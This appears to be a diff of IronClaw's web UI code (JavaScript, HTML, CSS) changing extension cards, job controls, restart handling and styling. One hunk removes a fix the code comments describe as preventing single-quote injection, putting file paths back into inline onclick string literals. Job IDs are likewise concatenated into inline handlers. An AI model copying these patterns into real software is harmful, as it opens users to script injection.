chatInput.addEventListener('input', () => autoResizeTextarea(chatInput));
|
||||||
autoResizeTextarea(chatInput);
|
|
||||||
filterSlashCommands(chatInput.value);
|
// Disable send until a thread is selected (loadThreads will enable it)
|
||||||
});
|
chatInput.disabled = true;
|
||||||
chatInput.addEventListener('blur', () => {
|
document.getElementById('send-btn').disabled = true;
|
||||||
// Small delay so mousedown on autocomplete item fires first
|
|
||||||
setTimeout(hideSlashAutocomplete, 150);
|
|
||||||
});
|
|
||||||
|
|
||||||
// Infinite scroll: load older messages when scrolled near the top
|
// Infinite scroll: load older messages when scrolled near the top
|
||||||
document.getElementById('chat-messages').addEventListener('scroll', function () {
|
document.getElementById('chat-messages').addEventListener('scroll', function () {
|
||||||
@@ -1488,9 +1283,7 @@ function buildBreadcrumb(path) {
|
|||||||
let current = '';
|
let current = '';
|
||||||
for (const part of parts) {
|
for (const part of parts) {
|
||||||
current += (current ? '/' : '') + part;
|
current += (current ? '/' : '') + part;
|
||||||
// Store the path in data-path (HTML-escaped) and read it back via this.dataset.path
|
html += ' / <a onclick="readMemoryFile(\'' + escapeHtml(current) + '\')">' + escapeHtml(part) + '</a>';
|
||||||
// to avoid single-quote injection in inline JS string literals.
|
|
||||||
html += ' / <a onclick="readMemoryFile(this.dataset.path)" data-path="' + escapeHtml(current) + '">' + escapeHtml(part) + '</a>';
|
|
||||||
}
|
}
|
||||||
return html;
|
return html;
|
||||||
}
|
}
|
||||||
@@ -1665,8 +1458,10 @@ function applyLogFilters() {
|
|||||||
function setServerLogLevel(level) {
|
function setServerLogLevel(level) {
|
||||||
apiFetch('/api/logs/level', {
|
apiFetch('/api/logs/level', {
|
||||||
method: 'PUT',
|
method: 'PUT',
|
||||||
body: { level },
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ level: level }),
|
||||||
})
|
})
|
||||||
|
.then(r => r.json())
|
||||||
.then(data => {
|
.then(data => {
|
||||||
document.getElementById('logs-server-level').value = data.level;
|
document.getElementById('logs-server-level').value = data.level;
|
||||||
})
|
})
|
||||||
@@ -1675,6 +1470,7 @@ function setServerLogLevel(level) {
|
|||||||
|
|
||||||
function loadServerLogLevel() {
|
function loadServerLogLevel() {
|
||||||
apiFetch('/api/logs/level')
|
apiFetch('/api/logs/level')
|
||||||
|
.then(r => r.json())
|
||||||
.then(data => {
|
.then(data => {
|
||||||
document.getElementById('logs-server-level').value = data.level;
|
document.getElementById('logs-server-level').value = data.level;
|
||||||
})
|
})
|
||||||
@@ -1683,8 +1479,6 @@ function loadServerLogLevel() {
|
|||||||
|
|
||||||
// --- Extensions ---
|
// --- Extensions ---
|
||||||
|
|
||||||
var kindLabels = { 'wasm_channel': 'Channel', 'wasm_tool': 'Tool', 'mcp_server': 'MCP' };
|
|
||||||
|
|
||||||
function loadExtensions() {
|
function loadExtensions() {
|
||||||
const extList = document.getElementById('extensions-list');
|
const extList = document.getElementById('extensions-list');
|
||||||
const wasmList = document.getElementById('available-wasm-list');
|
const wasmList = document.getElementById('available-wasm-list');
|
||||||
@@ -1760,7 +1554,7 @@ function renderAvailableExtensionCard(entry) {
|
|||||||
|
|
||||||
const kind = document.createElement('span');
|
const kind = document.createElement('span');
|
||||||
kind.className = 'ext-kind kind-' + entry.kind;
|
kind.className = 'ext-kind kind-' + entry.kind;
|
||||||
kind.textContent = kindLabels[entry.kind] || entry.kind;
|
kind.textContent = entry.kind;
|
||||||
header.appendChild(kind);
|
header.appendChild(kind);
|
||||||
|
|
||||||
card.appendChild(header);
|
card.appendChild(header);
|
||||||
@@ -1792,11 +1586,6 @@ function renderAvailableExtensionCard(entry) {
|
|||||||
}).then(function(res) {
|
}).then(function(res) {
|
||||||
if (res.success) {
|
if (res.success) {
|
||||||
showToast('Installed ' + entry.display_name, 'success');
|
showToast('Installed ' + entry.display_name, 'success');
|
||||||
// OAuth popup if auth started during install (builtin creds)
|
|
||||||
if (res.auth_url) {
|
|
||||||
showToast('Opening authentication for ' + entry.display_name, 'info');
|
|
||||||
window.open(res.auth_url, '_blank', 'width=600,height=700');
|
|
||||||
}
|
|
||||||
loadExtensions();
|
loadExtensions();
|
||||||
// Auto-open configure for WASM channels
|
// Auto-open configure for WASM channels
|
||||||
if (entry.kind === 'wasm_channel') {
|
if (entry.kind === 'wasm_channel') {
|
||||||
@@ -1831,7 +1620,7 @@ function renderMcpServerCard(entry, installedExt) {
|
|||||||
|
|
||||||
var kind = document.createElement('span');
|
var kind = document.createElement('span');
|
||||||
kind.className = 'ext-kind kind-mcp_server';
|
kind.className = 'ext-kind kind-mcp_server';
|
||||||
kind.textContent = kindLabels['mcp_server'] || 'mcp_server';
|
kind.textContent = 'mcp_server';
|
||||||
header.appendChild(kind);
|
header.appendChild(kind);
|
||||||
|
|
||||||
if (installedExt) {
|
if (installedExt) {
|
||||||
@@ -1915,12 +1704,12 @@ function renderExtensionCard(ext) {
|
|||||||
|
|
||||||
const name = document.createElement('span');
|
const name = document.createElement('span');
|
||||||
name.className = 'ext-name';
|
name.className = 'ext-name';
|
||||||
name.textContent = ext.display_name || ext.name;
|
name.textContent = ext.name;
|
||||||
header.appendChild(name);
|
header.appendChild(name);
|
||||||
|
|
||||||
const kind = document.createElement('span');
|
const kind = document.createElement('span');
|
||||||
kind.className = 'ext-kind kind-' + ext.kind;
|
kind.className = 'ext-kind kind-' + ext.kind;
|
||||||
kind.textContent = kindLabels[ext.kind] || ext.kind;
|
kind.textContent = ext.kind;
|
||||||
header.appendChild(kind);
|
header.appendChild(kind);
|
||||||
|
|
||||||
// Auth dot only for non-WASM-channel extensions (channels use the stepper instead)
|
// Auth dot only for non-WASM-channel extensions (channels use the stepper instead)
|
||||||
@@ -1968,6 +1757,14 @@ function renderExtensionCard(ext) {
|
|||||||
card.appendChild(errorDiv);
|
card.appendChild(errorDiv);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Show "coming soon" note for non-Telegram channels that are configured but not fully supported yet
|
||||||
|
if (ext.kind === 'wasm_channel' && ext.name !== 'telegram'
|
||||||
|
&& (ext.activation_status === 'configured' || ext.active)) {
|
||||||
|
const noteDiv = document.createElement('div');
|
||||||
|
noteDiv.className = 'ext-note';
|
||||||
|
noteDiv.textContent = 'Full integration coming soon. Use the CLI to complete setup.';
|
||||||
|
card.appendChild(noteDiv);
|
||||||
|
}
|
||||||
|
|
||||||
const actions = document.createElement('div');
|
const actions = document.createElement('div');
|
||||||
actions.className = 'ext-actions';
|
actions.className = 'ext-actions';
|
||||||
@@ -1988,6 +1785,11 @@ function renderExtensionCard(ext) {
|
|||||||
actions.appendChild(pairingLabel);
|
actions.appendChild(pairingLabel);
|
||||||
actions.appendChild(createReconfigureButton(ext.name));
|
actions.appendChild(createReconfigureButton(ext.name));
|
||||||
} else if (status === 'failed') {
|
} else if (status === 'failed') {
|
||||||
|
var restartBtn = document.createElement('button');
|
||||||
|
restartBtn.className = 'btn-ext activate';
|
||||||
|
restartBtn.textContent = 'Restart';
|
||||||
|
restartBtn.addEventListener('click', restartGateway);
|
||||||
|
actions.appendChild(restartBtn);
|
||||||
actions.appendChild(createReconfigureButton(ext.name));
|
actions.appendChild(createReconfigureButton(ext.name));
|
||||||
} else {
|
} else {
|
||||||
// installed or configured: show Setup button
|
// installed or configured: show Setup button
|
||||||
@@ -1998,26 +1800,21 @@ function renderExtensionCard(ext) {
|
|||||||
actions.appendChild(setupBtn);
|
actions.appendChild(setupBtn);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// WASM tools / MCP servers
|
// Non-WASM-channel extensions: original behavior
|
||||||
const activeLabel = document.createElement('span');
|
if (!ext.active) {
|
||||||
activeLabel.className = 'ext-active-label';
|
|
||||||
activeLabel.textContent = ext.active ? 'Active' : 'Installed';
|
|
||||||
actions.appendChild(activeLabel);
|
|
||||||
|
|
||||||
// MCP servers may be installed but inactive — show Activate button
|
|
||||||
if (ext.kind === 'mcp_server' && !ext.active) {
|
|
||||||
const activateBtn = document.createElement('button');
|
const activateBtn = document.createElement('button');
|
||||||
activateBtn.className = 'btn-ext activate';
|
activateBtn.className = 'btn-ext activate';
|
||||||
activateBtn.textContent = 'Activate';
|
activateBtn.textContent = 'Activate';
|
||||||
activateBtn.addEventListener('click', () => activateExtension(ext.name));
|
activateBtn.addEventListener('click', () => activateExtension(ext.name));
|
||||||
actions.appendChild(activateBtn);
|
actions.appendChild(activateBtn);
|
||||||
|
} else {
|
||||||
|
const activeLabel = document.createElement('span');
|
||||||
|
activeLabel.className = 'ext-active-label';
|
||||||
|
activeLabel.textContent = 'Active';
|
||||||
|
actions.appendChild(activeLabel);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Show Configure/Reconfigure button when there are secrets to enter.
|
if (ext.needs_setup) {
|
||||||
// Skip when has_auth is true but needs_setup is false and not yet authenticated —
|
|
||||||
// this means OAuth credentials resolve automatically (builtin/env) and the user
|
|
||||||
// just needs to complete the OAuth flow, not fill in a config form.
|
|
||||||
if (ext.needs_setup || (ext.has_auth && ext.authenticated)) {
|
|
||||||
const configBtn = document.createElement('button');
|
const configBtn = document.createElement('button');
|
||||||
configBtn.className = 'btn-ext configure';
|
configBtn.className = 'btn-ext configure';
|
||||||
configBtn.textContent = ext.authenticated ? 'Reconfigure' : 'Configure';
|
configBtn.textContent = ext.authenticated ? 'Reconfigure' : 'Configure';
|
||||||
@@ -2050,11 +1847,6 @@ function activateExtension(name) {
|
|||||||
apiFetch('/api/extensions/' + encodeURIComponent(name) + '/activate', { method: 'POST' })
|
apiFetch('/api/extensions/' + encodeURIComponent(name) + '/activate', { method: 'POST' })
|
||||||
.then((res) => {
|
.then((res) => {
|
||||||
if (res.success) {
|
if (res.success) {
|
||||||
// Even on success, the tool may need OAuth (e.g., WASM loaded but no token yet)
|
|
||||||
if (res.auth_url) {
|
|
||||||
showToast('Opening authentication for ' + name, 'info');
|
|
||||||
window.open(res.auth_url, '_blank', 'width=600,height=700');
|
|
||||||
}
|
|
||||||
loadExtensions();
|
loadExtensions();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -2146,8 +1938,7 @@ function renderConfigureModal(name, secrets) {
|
|||||||
if (secret.provided) {
|
if (secret.provided) {
|
||||||
const badge = document.createElement('span');
|
const badge = document.createElement('span');
|
||||||
badge.className = 'field-provided';
|
badge.className = 'field-provided';
|
||||||
badge.textContent = '\u2713';
|
badge.textContent = 'Set';
|
||||||
badge.title = 'Already configured';
|
|
||||||
inputRow.appendChild(badge);
|
inputRow.appendChild(badge);
|
||||||
}
|
}
|
||||||
if (secret.auto_generate && !secret.provided) {
|
if (secret.auto_generate && !secret.provided) {
|
||||||
@@ -2205,19 +1996,19 @@ function submitConfigureModal(name, fields) {
|
|||||||
.then((res) => {
|
.then((res) => {
|
||||||
closeConfigureModal();
|
closeConfigureModal();
|
||||||
if (res.success) {
|
if (res.success) {
|
||||||
if (res.auth_url) {
|
if (res.activated && name === 'telegram') {
|
||||||
// OAuth flow started — open consent popup. The auth_completed SSE will
|
showToast('Configured and activated ' + name, 'success');
|
||||||
// not arrive immediately (it fires after OAuth callback), so show a toast now.
|
} else if (res.activated) {
|
||||||
showToast('Opening OAuth authorization for ' + name, 'info');
|
showToast('Configured ' + name + ' successfully', 'success');
|
||||||
window.open(res.auth_url, '_blank', 'width=600,height=700');
|
} else if (res.needs_restart) {
|
||||||
loadExtensions();
|
showToast('Configured ' + name + '. Restart required to activate.', 'info');
|
||||||
|
} else {
|
||||||
|
showToast(res.message, 'success');
|
||||||
}
|
}
|
||||||
// For non-OAuth success: the server always broadcasts auth_completed SSE,
|
|
||||||
// which will show the toast and refresh extensions — no need to do it here too.
|
|
||||||
} else {
|
} else {
|
||||||
showToast(res.message || 'Configuration failed', 'error');
|
showToast(res.message || 'Configuration failed', 'error');
|
||||||
loadExtensions();
|
|
||||||
}
|
}
|
||||||
|
loadExtensions();
|
||||||
})
|
})
|
||||||
.catch((err) => {
|
.catch((err) => {
|
||||||
btns.forEach(function(b) { b.disabled = false; });
|
btns.forEach(function(b) { b.disabled = false; });
|
||||||
@@ -2276,7 +2067,7 @@ function approvePairing(channel, code, container) {
|
|||||||
}).then(res => {
|
}).then(res => {
|
||||||
if (res.success) {
|
if (res.success) {
|
||||||
showToast('Pairing approved', 'success');
|
showToast('Pairing approved', 'success');
|
||||||
loadExtensions();
|
loadPairingRequests(channel, container);
|
||||||
} else {
|
} else {
|
||||||
showToast(res.message || 'Approve failed', 'error');
|
showToast(res.message || 'Approve failed', 'error');
|
||||||
}
|
}
|
||||||
@@ -2299,6 +2090,53 @@ function stopPairingPoll() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// --- Gateway restart ---
|
||||||
|
|
||||||
|
function restartGateway() {
|
||||||
|
if (!confirm('Restart IronClaw gateway? Active connections will be dropped.')) return;
|
||||||
|
|
||||||
|
apiFetch('/api/gateway/restart', { method: 'POST' })
|
||||||
|
.then(function() {
|
||||||
|
showRestartOverlay();
|
||||||
|
})
|
||||||
|
.catch(function() {
|
||||||
|
showRestartOverlay();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function showRestartOverlay() {
|
||||||
|
var overlay = document.createElement('div');
|
||||||
|
overlay.className = 'restart-overlay';
|
||||||
|
overlay.innerHTML = '<div class="restart-message">'
|
||||||
|
+ '<div class="restart-spinner"></div>'
|
||||||
|
+ '<h2>Restarting IronClaw...</h2>'
|
||||||
|
+ '<p>Waiting for server to come back online</p>'
|
||||||
|
+ '</div>';
|
||||||
|
document.body.appendChild(overlay);
|
||||||
|
|
||||||
|
var pollCount = 0;
|
||||||
|
var pollTimer = setInterval(function() {
|
||||||
|
pollCount++;
|
||||||
|
if (pollCount > 30) { // 60 seconds
|
||||||
|
clearInterval(pollTimer);
|
||||||
|
overlay.querySelector('h2').textContent = 'Restart timed out';
|
||||||
|
overlay.querySelector('p').textContent = 'Server did not come back within 60 seconds. Check logs.';
|
||||||
|
overlay.querySelector('.restart-spinner').style.display = 'none';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
fetch('/api/gateway/status', {
|
||||||
|
headers: { 'Authorization': 'Bearer ' + token },
|
||||||
|
})
|
||||||
|
.then(function(r) {
|
||||||
|
if (r.ok) {
|
||||||
|
clearInterval(pollTimer);
|
||||||
|
window.location.reload();
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(function() { /* still restarting */ });
|
||||||
|
}, 2000);
|
||||||
|
}
|
||||||
|
|
||||||
// --- WASM channel stepper ---
|
// --- WASM channel stepper ---
|
||||||
|
|
||||||
function renderWasmChannelStepper(ext) {
|
function renderWasmChannelStepper(ext) {
|
||||||
@@ -2306,17 +2144,23 @@ function renderWasmChannelStepper(ext) {
|
|||||||
stepper.className = 'ext-stepper';
|
stepper.className = 'ext-stepper';
|
||||||
|
|
||||||
var status = ext.activation_status || 'installed';
|
var status = ext.activation_status || 'installed';
|
||||||
|
var isTelegram = ext.name === 'telegram';
|
||||||
|
|
||||||
|
// Telegram gets a 3-step stepper (Installed → Configured → Active/Pairing).
|
||||||
|
// Other channels only get 2 steps (Installed → Configured) since full
|
||||||
|
// integration isn't available in the web UI yet.
|
||||||
var steps = [
|
var steps = [
|
||||||
{ label: 'Installed', key: 'installed' },
|
{ label: 'Installed', key: 'installed' },
|
||||||
{ label: 'Configured', key: 'configured' },
|
{ label: 'Configured', key: 'configured' },
|
||||||
{ label: status === 'pairing' ? 'Awaiting Pairing' : 'Active', key: 'active' },
|
|
||||||
];
|
];
|
||||||
|
if (isTelegram) {
|
||||||
|
steps.push({ label: status === 'pairing' ? 'Awaiting Pairing' : 'Active', key: 'active' });
|
||||||
|
}
|
||||||
|
|
||||||
var reachedIdx;
|
var reachedIdx;
|
||||||
if (status === 'active') reachedIdx = 2;
|
if (status === 'active') reachedIdx = isTelegram ? 2 : 1;
|
||||||
else if (status === 'pairing') reachedIdx = 2;
|
else if (status === 'pairing') reachedIdx = 2;
|
||||||
else if (status === 'failed') reachedIdx = 2;
|
else if (status === 'failed') reachedIdx = isTelegram ? 2 : 1;
|
||||||
else if (status === 'configured') reachedIdx = 1;
|
else if (status === 'configured') reachedIdx = 1;
|
||||||
else reachedIdx = 0;
|
else reachedIdx = 0;
|
||||||
|
|
||||||
@@ -2427,8 +2271,9 @@ function renderJobsList(jobs) {
|
|||||||
let actionBtns = '';
|
let actionBtns = '';
|
||||||
if (job.state === 'pending' || job.state === 'in_progress') {
|
if (job.state === 'pending' || job.state === 'in_progress') {
|
||||||
actionBtns = '<button class="btn-cancel" onclick="event.stopPropagation(); cancelJob(\'' + job.id + '\')">Cancel</button>';
|
actionBtns = '<button class="btn-cancel" onclick="event.stopPropagation(); cancelJob(\'' + job.id + '\')">Cancel</button>';
|
||||||
|
} else if (job.state === 'failed' || job.state === 'interrupted') {
|
||||||
|
actionBtns = '<button class="btn-restart" onclick="event.stopPropagation(); restartJob(\'' + job.id + '\')">Restart</button>';
|
||||||
}
|
}
|
||||||
// Retry is only shown in the detail view where can_restart is available.
|
|
||||||
|
|
||||||
return '<tr class="job-row" onclick="openJobDetail(\'' + job.id + '\')">'
|
return '<tr class="job-row" onclick="openJobDetail(\'' + job.id + '\')">'
|
||||||
+ '<td title="' + escapeHtml(job.id) + '">' + shortId + '</td>'
|
+ '<td title="' + escapeHtml(job.id) + '">' + shortId + '</td>'
|
||||||
@@ -2457,12 +2302,10 @@ function restartJob(jobId) {
|
|||||||
apiFetch('/api/jobs/' + jobId + '/restart', { method: 'POST' })
|
apiFetch('/api/jobs/' + jobId + '/restart', { method: 'POST' })
|
||||||
.then((res) => {
|
.then((res) => {
|
||||||
showToast('Job restarted as ' + (res.new_job_id || '').substring(0, 8), 'success');
|
showToast('Job restarted as ' + (res.new_job_id || '').substring(0, 8), 'success');
|
||||||
|
loadJobs();
|
||||||
})
|
})
|
||||||
.catch((err) => {
|
.catch((err) => {
|
||||||
showToast('Failed to restart job: ' + err.message, 'error');
|
showToast('Failed to restart job: ' + err.message, 'error');
|
||||||
})
|
|
||||||
.finally(() => {
|
|
||||||
loadJobs();
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2497,8 +2340,8 @@ function renderJobDetail(job) {
|
|||||||
+ '<h2>' + escapeHtml(job.title) + '</h2>'
|
+ '<h2>' + escapeHtml(job.title) + '</h2>'
|
||||||
+ '<span class="badge ' + stateClass + '">' + escapeHtml(job.state) + '</span>';
|
+ '<span class="badge ' + stateClass + '">' + escapeHtml(job.state) + '</span>';
|
||||||
|
|
||||||
if ((job.state === 'failed' || job.state === 'interrupted') && job.can_restart === true) {
|
if (job.state === 'failed' || job.state === 'interrupted') {
|
||||||
headerHtml += '<button class="btn-restart" onclick="restartJob(\'' + job.id + '\')">Retry</button>';
|
headerHtml += '<button class="btn-restart" onclick="restartJob(\'' + job.id + '\')">Restart</button>';
|
||||||
}
|
}
|
||||||
if (job.browse_url) {
|
if (job.browse_url) {
|
||||||
headerHtml += '<a class="btn-browse" href="' + escapeHtml(job.browse_url) + '" target="_blank">Browse Files</a>';
|
headerHtml += '<a class="btn-browse" href="' + escapeHtml(job.browse_url) + '" target="_blank">Browse Files</a>';
|
||||||
@@ -2745,7 +2588,7 @@ function renderJobActivity(container, job) {
|
|||||||
activityCurrentJobId = job ? job.id : null;
|
activityCurrentJobId = job ? job.id : null;
|
||||||
activityRenderedLiveIndex = 0;
|
activityRenderedLiveIndex = 0;
|
||||||
|
|
||||||
let html = '<div class="activity-toolbar">'
|
container.innerHTML = '<div class="activity-toolbar">'
|
||||||
+ '<select id="activity-type-filter">'
|
+ '<select id="activity-type-filter">'
|
||||||
+ '<option value="all">All Events</option>'
|
+ '<option value="all">All Events</option>'
|
||||||
+ '<option value="message">Messages</option>'
|
+ '<option value="message">Messages</option>'
|
||||||
@@ -2754,17 +2597,12 @@ function renderJobActivity(container, job) {
|
|||||||
+ '</select>'
|
+ '</select>'
|
||||||
+ '<label class="logs-checkbox"><input type="checkbox" id="activity-autoscroll" checked> Auto-scroll</label>'
|
+ '<label class="logs-checkbox"><input type="checkbox" id="activity-autoscroll" checked> Auto-scroll</label>'
|
||||||
+ '</div>'
|
+ '</div>'
|
||||||
+ '<div class="activity-terminal" id="activity-terminal"></div>';
|
+ '<div class="activity-terminal" id="activity-terminal"></div>'
|
||||||
|
+ '<div class="activity-input-bar" id="activity-input-bar">'
|
||||||
if (job && job.can_prompt === true) {
|
+ '<input type="text" id="activity-prompt-input" placeholder="Send follow-up prompt..." />'
|
||||||
html += '<div class="activity-input-bar" id="activity-input-bar">'
|
+ '<button id="activity-send-btn">Send</button>'
|
||||||
+ '<input type="text" id="activity-prompt-input" placeholder="Send follow-up prompt..." />'
|
+ '<button id="activity-done-btn" title="Signal done">Done</button>'
|
||||||
+ '<button id="activity-send-btn">Send</button>'
|
+ '</div>';
|
||||||
+ '<button id="activity-done-btn" title="Signal done">Done</button>'
|
|
||||||
+ '</div>';
|
|
||||||
}
|
|
||||||
|
|
||||||
container.innerHTML = html;
|
|
||||||
|
|
||||||
document.getElementById('activity-type-filter').addEventListener('change', applyActivityFilter);
|
document.getElementById('activity-type-filter').addEventListener('change', applyActivityFilter);
|
||||||
|
|
||||||
@@ -2773,9 +2611,9 @@ function renderJobActivity(container, job) {
|
|||||||
const sendBtn = document.getElementById('activity-send-btn');
|
const sendBtn = document.getElementById('activity-send-btn');
|
||||||
const doneBtn = document.getElementById('activity-done-btn');
|
const doneBtn = document.getElementById('activity-done-btn');
|
||||||
|
|
||||||
if (sendBtn) sendBtn.addEventListener('click', () => sendJobPrompt(job.id, false));
|
sendBtn.addEventListener('click', () => sendJobPrompt(job.id, false));
|
||||||
if (doneBtn) doneBtn.addEventListener('click', () => sendJobPrompt(job.id, true));
|
doneBtn.addEventListener('click', () => sendJobPrompt(job.id, true));
|
||||||
if (input) input.addEventListener('keydown', (e) => {
|
input.addEventListener('keydown', (e) => {
|
||||||
if (e.key === 'Enter') sendJobPrompt(job.id, false);
|
if (e.key === 'Enter') sendJobPrompt(job.id, false);
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -3062,11 +2900,7 @@ function renderRoutineDetail(routine) {
|
|||||||
|
|
||||||
function triggerRoutine(id) {
|
function triggerRoutine(id) {
|
||||||
apiFetch('/api/routines/' + id + '/trigger', { method: 'POST' })
|
apiFetch('/api/routines/' + id + '/trigger', { method: 'POST' })
|
||||||
.then(() => {
|
.then(() => showToast('Routine triggered', 'success'))
|
||||||
showToast('Routine triggered', 'success');
|
|
||||||
if (currentRoutineId === id) openRoutineDetail(id);
|
|
||||||
else loadRoutines();
|
|
||||||
})
|
|
||||||
.catch((err) => showToast('Trigger failed: ' + err.message, 'error'));
|
.catch((err) => showToast('Trigger failed: ' + err.message, 'error'));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -3616,7 +3450,7 @@ function formatTimeAgo(epochMs) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function installSkill(nameOrSlug, url, btn) {
|
function installSkill(nameOrSlug, url, btn) {
|
||||||
var body = { name: nameOrSlug, slug: nameOrSlug };
|
var body = { name: nameOrSlug };
|
||||||
if (url) body.url = url;
|
if (url) body.url = url;
|
||||||
|
|
||||||
apiFetch('/api/skills/install', {
|
apiFetch('/api/skills/install', {
|
||||||
@@ -3707,13 +3541,8 @@ document.addEventListener('keydown', (e) => {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Escape: close autocomplete, job detail, or blur input
|
// Escape: close job detail or blur input
|
||||||
if (e.key === 'Escape') {
|
if (e.key === 'Escape') {
|
||||||
const acEl = document.getElementById('slash-autocomplete');
|
|
||||||
if (acEl && acEl.style.display !== 'none') {
|
|
||||||
hideSlashAutocomplete();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (currentJobId) {
|
if (currentJobId) {
|
||||||
closeJobDetail();
|
closeJobDetail();
|
||||||
} else if (inInput) {
|
} else if (inInput) {
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>IronClaw</title>
|
<title>IronClaw</title>
|
||||||
<link rel="icon" href="/favicon.ico" type="image/x-icon">
|
<link rel="icon" href="/favicon.ico" type="image/x-icon">
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
@@ -78,9 +78,9 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="chat-container">
|
<div class="chat-container">
|
||||||
<div class="chat-messages" id="chat-messages"></div>
|
<div class="chat-messages" id="chat-messages"></div>
|
||||||
<div id="slash-autocomplete" class="slash-autocomplete" style="display:none"></div>
|
<div class="chat-status" id="chat-status"></div>
|
||||||
<div class="chat-input">
|
<div class="chat-input">
|
||||||
<textarea id="chat-input" placeholder="Message or / for commands..." rows="1"></textarea>
|
<textarea id="chat-input" placeholder="Type a message..." rows="1"></textarea>
|
||||||
<button id="send-btn" onclick="sendMessage()">Send</button>
|
<button id="send-btn" onclick="sendMessage()">Send</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -30,7 +30,6 @@ body {
|
|||||||
background: var(--bg);
|
background: var(--bg);
|
||||||
color: var(--text);
|
color: var(--text);
|
||||||
height: 100vh;
|
height: 100vh;
|
||||||
height: 100dvh;
|
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
@@ -42,7 +41,6 @@ body {
|
|||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
height: 100vh;
|
height: 100vh;
|
||||||
height: 100dvh;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.auth-card-login {
|
.auth-card-login {
|
||||||
@@ -143,7 +141,6 @@ body {
|
|||||||
display: none;
|
display: none;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
height: 100vh;
|
height: 100vh;
|
||||||
height: 100dvh;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Tab Bar */
|
/* Tab Bar */
|
||||||
@@ -461,6 +458,31 @@ body {
|
|||||||
.message th { background: var(--bg-tertiary); }
|
.message th { background: var(--bg-tertiary); }
|
||||||
|
|
||||||
/* Status bar */
|
/* Status bar */
|
||||||
|
.chat-status {
|
||||||
|
padding: 6px 16px;
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
border-top: 1px solid var(--border);
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
min-height: 28px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.chat-status .spinner {
|
||||||
|
width: 12px;
|
||||||
|
height: 12px;
|
||||||
|
border: 2px solid var(--border);
|
||||||
|
border-top-color: var(--accent);
|
||||||
|
border-radius: 50%;
|
||||||
|
animation: spin 0.6s linear infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes spin {
|
||||||
|
to { transform: rotate(360deg); }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
.scroll-load-spinner {
|
.scroll-load-spinner {
|
||||||
display: flex;
|
display: flex;
|
||||||
@@ -553,10 +575,6 @@ body {
|
|||||||
border-color: rgba(230, 76, 76, 0.3);
|
border-color: rgba(230, 76, 76, 0.3);
|
||||||
}
|
}
|
||||||
|
|
||||||
.activity-tool-card[data-status="fail"] .activity-tool-name {
|
|
||||||
color: var(--danger);
|
|
||||||
}
|
|
||||||
|
|
||||||
.activity-tool-header {
|
.activity-tool-header {
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
@@ -815,75 +833,6 @@ body {
|
|||||||
font-style: italic;
|
font-style: italic;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Tool calls summary (persisted between user/assistant messages) */
|
|
||||||
.tool-calls-summary {
|
|
||||||
background: var(--bg-secondary);
|
|
||||||
border-left: 3px solid var(--warning);
|
|
||||||
padding: 6px 12px;
|
|
||||||
margin: 4px 0;
|
|
||||||
font-size: 0.85em;
|
|
||||||
border-radius: 4px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-calls-header {
|
|
||||||
color: var(--text-secondary);
|
|
||||||
font-weight: 500;
|
|
||||||
user-select: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-calls-header::before {
|
|
||||||
content: '\25B6';
|
|
||||||
display: inline-block;
|
|
||||||
margin-right: 6px;
|
|
||||||
font-size: 0.7em;
|
|
||||||
transition: transform 0.15s;
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-calls-header.expanded::before {
|
|
||||||
transform: rotate(90deg);
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-calls-list {
|
|
||||||
margin-top: 6px;
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-calls-list.expanded {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-call-item {
|
|
||||||
padding: 3px 0;
|
|
||||||
border-bottom: 1px solid var(--border);
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-call-item:last-child {
|
|
||||||
border-bottom: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.tool-call-name {
|
|
||||||
font-weight: 500;
|
|
||||||
color: var(--text-primary);
|
|
||||||
}
|
|
||||||
|
